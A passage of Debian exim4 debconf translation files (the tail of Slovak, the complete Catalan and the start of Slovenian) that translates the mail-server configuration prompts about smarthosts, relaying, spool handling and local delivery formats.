../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Maildir formát v domácom adresári" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Spôsob doručovania pre lokálnu poštu:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim je schopný lokálne doručovať poštu v rôznych formátoch. Najviac " "používané formáty sú mbox a Maildir. mbox používa jediný súbor pre celý " "poštový priečinok uložený v adresári /var/mail/. Maildir formát používa " "samostatné súbory pre každú poštu uložené v adresári ~/Maildir/. " #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Uvedomte si, že väčšina poštových nástrojov v Debiane predpokladá vo svojom " "predvolenom nastavení doručovanie pošty do formátu mbox." debian/po/ca.po0000644000000000000000000010077612027557533010553 0ustar # exim4 (debconf) translation to Catalan. # Copyright © 2004, 2005, 2006, 2008 Free Software Foundation, Inc. # Aleix Badia i Bosch , 2004, 2005. # Jordi Mallach , 2004, 2006, 2008. # Jordà Polo , 2008. # msgid "" msgstr "" "Project-Id-Version: exim4 debconf\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2008-09-10 19:59+0200\n" "Last-Translator: Jordi Mallach \n" "Language-Team: Catalan \n" "Language: ca\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "" "Voleu suprimir els missatges no enviats del directori de gestió de cues?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Hi ha missatges de correu al directori de gestió de cues de l'Exim /var/" "spool/exim4/input/ que encara no s'han enviat. Si elimineu l'Exim, romandran " "sense enviar fins que es reinstal·le l'Exim." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Si no es tria aquesta opció, es mantindrà el directori de gestió de cues, " "permetent que els missatges a la cua s'envien en el futur després de " "reinstal·lar l'Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Reconfigureu el paquet exim4-config en comptes d'aquest paquet" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 té la seua configuració en un paquet dedicat, exim4-config. Si voleu " "reconfigurar l'Exim4, utilitzeu «dpkg-reconfigure exim4-config»." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "lloc d'internet; s'envia i es rep directament utilitzant SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "s'envia a través del smarthost i es rep via SMTP o fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "s'envia a través de l'smarthost i no hi ha correu local" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "només enviament local; no està en una xarxa" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "no el configuris ara mateix" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Configuració del correu de tipus general:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Seleccioneu el tipus de configuració que s'ajuste a les vostres necessitats." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Els sistemes amb adreces IP dinàmiques, inclosos els sistemes de marcatge " "directe, probablement s'haurien de configurar per enviar el correu de " "sortida a un altre ordinador anomenat «smarthost», per al seu lliurament " "perquè molts sistemes que reben correu a Internet bloquen el correu entrant " "des d'adreces IP dinàmiques, com a protecció contra el spam." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Un sistema amb una adreça IP dinàmica pot rebre el seu correu, o es pot " "inhabilitar el lliurament local completament (excepte el correu per al root " "i el postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Esteu segur de deixar desconfigurat el sistema de correu?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Fins que el sistema de correu no estigui configurat no funcionarà " "correctament i no es podrà utilitzar. Es pot configurar posteriorment, " "manualment o executant l'ordre «dpkg-reconfigure exim4-config» com a " "superusuari." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Nom del correu del sistema:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "El «nom de correu» és el nom del domini que s'utilitza per a «qualificar» " "les adreces de correu sense un nom de domini." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Aquest nom també serà utilitzat per altres programes. Hauria de ser el nom " "únic, complet del domini (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Per tant, si una adreça de correu a l'ordinador local és foo@exemple.org," "aleshores el valor correcte per a aquesta opció seria exemple.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Aquest nom no apareixerà a les línies From: del correu de sortida si " "s'habilita la reescriptura." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "D'altres destinacions per a les quals s'accepta correu:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Introduïu una llista, separada per punts i coma, de dominis de destinataris " "que s'haurien de considerar destí final. Aquests dominis s'anomenen «dominis " "locals». El nom local (${fqdn}) i «localhost» sempre s'afegeixen a la llista " "subministrada aquí." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Per defecte tots els dominis es tracten igual. Si tant a.exemple i b.exemple " "són dominis locals, compte@a.exemple i compte@b.exemple es lliuraran a la " "mateixa destinació final. Si voleu tractar diferents dominis de manera " "diferent, posteriorment haureu d'editar els fitxers de configuració." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Dominis del qual és repetidor:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Introduïu una llista, separada per punts i coma, dels dominis de destinació " "pels quals aquest sistema farà de repetidor, com ara un MX de reposició o " "una passarel·la de correu. Això vol dir que aquest sistema acceptarà correu " "per a aquest correu des de qualsevol lloc d'Internet i el lliurarà d'acord " "amb les regles de lliurament local." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "No mencioneu els dominis locals ací. Es poden utilitzar comodins." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Ordinadors dels quals sou repetidor:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Introduïu una llista separada per punts i coma dels intervals d'adreces IP " "per a les quals aquest sistema farà de repetidor de correu " "incondicionalment, funcionant com a «smarthost»." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Hauríeu d'utilitzar el format adreça/longitud estàndard (ex. " "194.222.242.0/24 o 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Si aquest sistema no hauria de ser un «smarthost» per a cap altre servidor, " "deixeu aquesta llista en blanc." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Nom del domini visible pels usuaris locals:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "S'ha habilitat l'opció per a amagar el nom del correu local al correu de " "sortida. Per això, és necessari especificar el nom del domini que aquest " "sistema ha d'utilitzar com a part de domini de les adreces dels usuaris " "locals." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Adreça IP o nom del servidor del «smarthost» de sortida:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Introduïu les adreces IP o el nom del servidor d'un servidor de correu que " "aquest sistema ha d'utilitzar com a «smarthost» de sortida. Si el " "«smarthost» només accepta el vostre correu en un port diferent al TCP/25, " "afegiu «:» dues vegades i el número del port (per exemple smarthost." "exemple::587 o 192.168.254.254::2525). Els dos punts a les adreces IPv6 " "s'han de duplicar." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Si el «smarthost» requereix autenticació, vegeu la informació sobre la " "configuració de l'autenticació de l'SMTP, als fitxers README específics de " "Debian a /usr/share/doc/exim4-base." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Destinatari de correu de root i de postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "El correu per al «postmaster», «root» i altres comptes del sistema ha de " "redirigir-se al compte d'usuari de l'administrador del sistema." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Si es deixa aquest valor en blanc, aquest correu es desarà en /var/mail/" "mail, però això no es recomana." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Teniu en compte que el correu del compte postmaster s'hauria de llegir des " "del sistema on es direcciona, més que no pas redireccionar-lo a fora. És per " "això que com a mínim un usuari no hauria de redireccionar el correu fora de " "l'ordinador. Es pot afegir un prefix «real-» per a forçar el lliurament " "local." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Múltiples noms d'usuari s'han d'escriure separats per espais." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Adreça IP on es vincula les connexions d'entrada de l'SMTP:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Introduïu una llista, separada per punts i coma, d'adreces IP. El demoni de " "l'Exim escoltarà a totes les adreces IP llistades ací." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "El camp en blanc farà que l'Exim es vincule al port SMTP de totes les " "interfícies de xarxa disponibles." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Si aquest ordinador només rep correu directament de serveis locals (i no des " "d'altres servidors), es suggereix prohibir les connexions externes a l'Exim " "local. Aquests serveis inclouen programes de correu (MUA) que parlen només " "amb localhost, o fetchmail. Si s'estableix 127.0.0.1 aquí, les connexions " "externes seran impossibles, perquè s'inhabilitarà l'escolta en interfícies " "de xarxa públiques." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "" "Voleu mantenir el nombre mínim de consultes de DNS possibles (marcatge sota " "demanda)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "En el seu mode normal d'execució, l'Exim realitza consultes de DNS a " "l'arrencada i quan rep o envia missatges. Això és qüestions de registre i " "permet mantenir un nombre petit de valors escrits al fitxer de configuració." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Si aquest ordinador no té accés permanent a un servei complet de resolució " "DNS (com ara, si l'accés a Internet és una línia que utilitza marcatge per " "demanda) això pot tenir conseqüències no desitjades. Per exemple, iniciar " "l'Exim o executar la cua (fins i tot amb cap missatge esperant) pot activar " "un marcatge amb un cert cost." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Aquesta opció s'hauria de seleccionar si el sistema està utilitzant marcació " "per demanda. Si sempre té accés a Internet, s'hauria de inhabilitar." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Configuració del servidor de correu" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Voleu dividir la configuració en fitxers petits?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Els paquets d'exim4 de Debian poden utilitzar la «configuració integrada», " "un únic fitxer monolític (/etc/exim4/exim4.conf.template) o la «configuració " "partida», amb la qual la configuració de l'Exim es construeix a partir d'uns " "50 fitxers petits a /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "La configuració integrada és millor per a modificacions grans i és en " "general més estable, mentre que la configuració partida ofereix una manera " "còmoda de fer canvis petits però és més fràgil i pot trencar-se si es " "modifica sense cura." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "S'hi pot trobar una discussió més detallada sobre les configuracions " "partides i integrades als fitxers README específics de Debian a /usr/share/" "doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Voleu amagar el nom de correu local al correu de sortida?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Les capçaleres del correu de sortida es poden reescriure per a fer que " "semblen haver sigut generades en un sistema diferent. Si s'habilita aquesta " "opció, es reescriuen «${mailname}», «localhost» i «${dc_other_hostnames}» en " "els From, Reply-To, Sender i Return-Path." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "format mbox a /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "format Maildir al directori personal" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Mètode de lliurament per al correu local:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim pot emmagatzemar el correu lliurat localment en formats diferents. El " "més comuns són mbox i Maildir. mbox utilitza un sol fitxer per a tota la " "carpeta de correu emmagatzemada a /var/mail/. Amb el format Maildir, cada " "missatge s'emmagatzema a un fitxer separat en ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Teniu en compte que la majoria d'eines de correu a Debian assumeixen que el " "mètode de lliurament de correu local és mbox a la seua configuració per " "defecte." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Triar aquesta opció mourà aquests missatges al directori de gestió de " #~ "cues d'exim4 (/var/spool/exim4/input/) on els gestionarà l'exim4." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "" #~ "Deixar aquesta llista en blanc farà que l'Exim no faça lliuraments locals." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "Recordeu que només funciona en un sentit, l'exim4 pot gestionar la gestió " #~ "de cues de l'exim(v3) però no a la inversa." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Moveu els correus únicament si no us plantegeu tornar a l'exim(v3), en " #~ "cas contrari no ho feu ara, però si manualment un cop convertida la " #~ "configuració." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Aquests dominis són dominis dels quals esteu preparat per acceptar correu " #~ "des de qualsevol punt d'internet. No hi feu referència als dominis locals." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Ja que heu triat amagar el nom del correu local en el correu de sortida, " #~ "heu d'especificar el nom de domini a utilitzar pel correu dels usuaris " #~ "locals; normalment és l'ordinador que utilitzeu per rebre correu." #~ msgid "Where will your users read their mail?" #~ msgstr "D'on llegiran el correu els usuaris?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "Ordinador que gestiona el correu de sortida d'aquest (smarthost):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "" #~ "Introduïu el nom de l'ordinador principal a on s'envia el correu de " #~ "sortida." #~ msgid "" #~ "Mail for the \"postmaster\", \"root\", and other system accounts is " #~ "usually redirected to the user account of the actual system " #~ "administrator. If you leave this value empty, such mail will be saved in /" #~ "var/mail/mail, which is not recommended. Note that postmaster's mail " #~ "should be read on the system to which it is directed, rather than being " #~ "forwarded elsewhere, so (at least one of) the users you choose should not " #~ "redirect their mail off this machine. Use a \"real-\" prefix to force " #~ "local delivery." #~ msgstr "" #~ "És habitual redirigir el correu per al «postmaster», «root» i altres " #~ "comptes del sistema al compte d'usuari real de l'administrador del " #~ "sistema. Si deixeu aquest valor buit, aquest correu es desarà en /var/" #~ "mail/mail, cosa no recomanada. Teniu en compte que el correu del " #~ "postmaster s'hauria de llegir en el sistema al qual es dirigeix, en " #~ "comptes de reenviar-lo a qualsevol altre lloc, així (al menys un) els " #~ "usuaris que trieu no haurien de redireccionar el seu correu fora d'aquest " #~ "servidor. Utilitzeu un prefix «real-» per a forçar l'enviament local." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Habiliteu l'opció si utilitzeu marcatge sota demanda; en cas contrari " #~ "inhabiliteu-la." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "Si no n'esteu segur no hauríeu de dividir la configuració." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "conversió manual de la configuració personalitzada de l'Exim v3" #~ msgid "Configure Exim4 manually?" #~ msgstr "Voleu configurar l'Exim4 manualment?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Heu indicat que disposeu d'una configuració personalitzada de l'Exim 3. " #~ "Per convertir-la a l'Exim 4 podeu utilitzar l'eina exim_convert4r4(8) " #~ "després de la instal·lació. Vegeu el fitxer /usr/share/doc/exim4-base/" #~ "examples/example.conf.gz i /usr/share/doc/exim4-base/README.Debian.gz" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "Fins que el sistema de correu no estigui configurat no funcionarà " #~ "correctament i no es podrà utilitzar." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "El \"nom del correu\" és la porció del nom de l'ordinador principal de " #~ "l'adreça que es mostrarà als missatges dels correus i notícies (seguint " #~ "el nom d'usuari i el símbol @) si no s'amaga amb reescriptura." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Introduïu les xares d'ordinadors locals dels quals sou repetidor de " #~ "correu.<" #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "Això hauria d'incloure una llista de tots els ordinadors que ens " #~ "utilitzaran com a «smart host»." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "Utilitzeu dos punts per les adreces d'IPv6 (ex.5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Introduïu una llista d'adreces IP on es vincula separades per dos punts. " #~ "En les adreces d'IPv6 haureu de posar dos punts dobles (ex. " #~ "5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "S'està configurant l'Exim v4 (exim4-config)" #~ msgid "" #~ "If you are configuring this system as 'satellite' this name won't appear " #~ "on From: lines of mail, as rewriting is used." #~ msgstr "" #~ "Si configureu el sistema com a 'satellite', el nom no apareixerà a les " #~ "línies From: del correu perquè s'utilitza la reescriptura." #~ msgid "" #~ "Obviously, any machines that use us as a smarthost have to be excluded " #~ "from the relaying controls, as using us to relay mail for them is the " #~ "whole point." #~ msgstr "" #~ "Qualsevol ordinador que utilitzi aquest com a smarthost s'ha d'excloure " #~ "dels controls de repetició, ja que la repetició del seu correu és la " #~ "única cosa important." #~ msgid "" #~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected " #~ "to one or more user accounts of the actual system administrators. The " #~ "default is to set things up so that mail for \"postmaster\" and for " #~ "various system accounts is redirected to \"root\", and mail for \"root\" " #~ "is redirected to a real user. This can be changed by editing /etc/" #~ "aliases." #~ msgstr "" #~ "Normalment el correu dels comptes \"postmaster\" i \"root\" es " #~ "redirecciona a un o més comptes dels administradors del sistema. La " #~ "configuració predeterminada és que redireccioni el compte \"postmaster\" " #~ "i d'altres a \"root\", i el correu de \"root\" es redireccioni a l'usuari " #~ "real. Es pot modificar editant el fitxer /etc/aliases." #~ msgid "" #~ "System administrator mail goes to which user accounts? Enter one or more " #~ "usernames separated by spaces or commas. Enter \"none\" if you do not " #~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot " #~ "run deliveries as root and will save the mail to /var/mail/mail Also, " #~ "note that usernames should be lowercase!" #~ msgstr "" #~ "A quin compte d'usuari s'ha de redireccionar el correu de l'administrador " #~ "del sistema? Introduïu un o més noms d'usuari separats per espais o " #~ "comes. Introduïu \"non\" si no voleu redireccionar el correu. - No és " #~ "recomanable. L'exim no pot repartir els missatges com a usuari i els " #~ "desarà a /var/mail/mail. Recordeu que els noms d'usuari han d'estar en " #~ "minúscules." debian/po/sl.po0000644000000000000000000007420112027557533010577 0ustar # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2006-12-27 11:28+0100\n" "Last-Translator: Matej Kovačič \n" "Language-Team: Matej Kovačič\n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Poedit-Country: SLOVENIA\n" "X-Poedit-Bookmarks: 30,-1,-1,-1,-1,-1,-1,-1,-1,-1\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "Remove undelivered messages in spool directory?" msgstr "Odstranim neposlano pošto v čakalnem imeniku?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "V eximovem čakalnem imeniku /var/spool/exim4/input je pošta, ki še ni bila " "dostavljena. Če odstranite Exim, bo ostala nedostavljena, vse dokler ne bo " "Exim ponovno nameščen." #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Če ta možnost ni izbrana, se čakalni imenik obdrži, kar omogoča dostavo " "sporočil iz vrste na kasnejši datum, ko je Exim ponovno nameščen." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Namesto tega paketa ponovno konfigurirajte exim4-config" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 #, fuzzy msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr 